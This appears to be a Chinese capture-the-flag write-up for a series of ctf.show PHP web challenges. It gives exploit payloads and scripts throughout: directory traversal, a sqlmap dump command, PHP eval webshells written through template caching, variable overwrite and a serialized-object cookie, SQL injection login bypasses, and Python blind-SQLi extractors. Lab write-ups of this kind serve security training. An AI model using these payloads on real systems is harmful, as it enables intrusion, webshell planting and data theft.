赞
踩
目录
扫目录
初始界面尝试文件包含index.php,从报错知道其可以目录穿越读文件
login.php是在./templates下的,而./flag.php与./templates均为web目录
payload:
?action=../flag
右键查看源码拿到flag
?action=../index
存在sql注入
没有waf,直接sqlmap跑出来
sqlmap -u "https://648b315b-136d-427f-b332-417f4865f221.challenge.ctf.show/index.php?action=check&username=1&password=1" --batch -T ctf -C ctf --dumps
?action=../index
关注点在templateUtil的静态方法上,从index.php一开始include的文件入手
?action=../render/render_class
?action=../render/cache_class
整体利用链很清晰
templateUtil::render($action) -> templateUtil::shade($templateContent,$arg)-> cache::create_cache($template,$cache) -> fileUtil::write('cache/'.md5($template).".php",$content)
注意到用./template/error.php中存在{{username}},可以用其cache来写马
重开个靶机再打入
index.php?action=check&username=<?php eval($_POST[1]);?>&password=12345
注意到{{username}}已经成功被替换为php代码
<?php
echo md5("error");
//cb5e100e5a9a3e7f6d1fd97512215282
再访问./cache/cb5e100e5a9a3e7f6d1fd97512215282.php
命令执行拿flag
和上题一样,在render处打入模板覆盖,用cache写马,但这次只能利用index
配合变量覆盖,让if永真,并让username为一句话木马
/index.php?action=check&username=<?=eval($_POST[cmd]);?>&sql=select%201;
访问./cache/6a992d5529f459a44fee58c733255e86.php,命令执行拿flag
<?php
echo md5("index");
//6a992d5529f459a44fee58c733255e86
还是模板注入./templates/index
/index.php?action=check&username=' union select '<?php eval($_POST[1]);?>' --+&password=1
直接去打会报语法错误
这时候重开下靶机再去读./templates/index.php,发现是给了提示的
我们模板注入的内容是被<?=?>所包裹,因此要改下payload
/index.php?action=check&username=0' union select "`cat /f*`"--+
再访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag
这下不能打模板注入了,但可以时间盲注
- import requests
-
- string = "}qwertyuioplkjhgfdsazxcvbnm0123456789{-"
- url = "http://bbfa1c77-aef0-4827-bd1f-6eafb26e85d0.challenge.ctf.show/index.php?action=check&username="
- payload = ""
- end = "&password=1"
-
-
- def exp():
- ret = ""
- for x in range(1, 50):
- for y in string:
- payload = "' union select if(substr((select load_file('/flag')),{},1)='{}',sleep(2),1) --+".format(x, y)
- try:
- req = requests.get(url + payload + end, timeout=2)
- except:
- ret += y
- print(ret)
-
-
- if __name__ == '__main__':
- exp()
关于select_one_array
模板有一个自动参数绑定,传进去一个$user,获取$user[username]来替换
直接走变量覆盖,绕过查库过程
payload:
?action=check&username[]=1&password=1&user[username]=<?php eval($_POST[1]);?>
访问./cache/6a992d5529f459a44fee58c733255e86.php直接拿到flag
可以在$_COOKIE处打反序列化
?action=../render/db_class
读到可以利用的恶意类
exp:
- <?php
- class dbLog{
- public $sql;
- public $content='<?php eval($_POST[1]);?>';
- public $log='yjh.php';
- }
- $a=new dbLog();
- echo serialize($a);
在Cookie处打入user参数,成功反序列化
访问./yjh.php,命令执行拿flag
不是很理解这段正则的意义何在(
和上题一样打
flag在数据库里,连蚁剑
拿到flag
和上题一样
拿到flag
过滤了or
用变形的万能密码登录
' || 1=1#
?action=../api/admin_edit
存在查库的操作就会存在布尔盲注的空间
- import requests
- import string
- url="http://f7a0f625-bcc6-43e5-b84d-ea086553a12b.challenge.ctf.show"
- s=string.ascii_lowercase+string.digits+",{-}"
- sess=requests.session()
- sess.post(url+"?action=check",data={"username":"'||1#","password":1})
- flag=""
- for i in range(9,70):
- print(i)
- for j in s:
- data={
- 'nickname':str(i*2)+str(j), #不让nickname重复就行
- #'user[username]':"'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))={1},1,0)#".format(i,j)
- #'user[username]':"'||if(substr((select group_concat(column_name) from information_schema.columns where table_name='flagyoudontknow76'),{0},1)='{1}',1,0)#".format(i,j)
- 'user[username]':"'||if(substr((select flagisherebutyouneverknow118 from flagyoudontknow76),{0},1)='{1}',1,0)#".format(i,j)
-
- }
- r=sess.post(url+"/api/admin_edit.php",data=data)
- if("u529f" in r.text):
- flag+=j
- print(flag)
- break
和上题一样用万能密码登录
点击修改图像,尝试读靶机文件
base64解码得flag
万能密码登录
修改头像不能直接读/flag
尝试用gopher探测内网组件,结果靶机直接崩了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。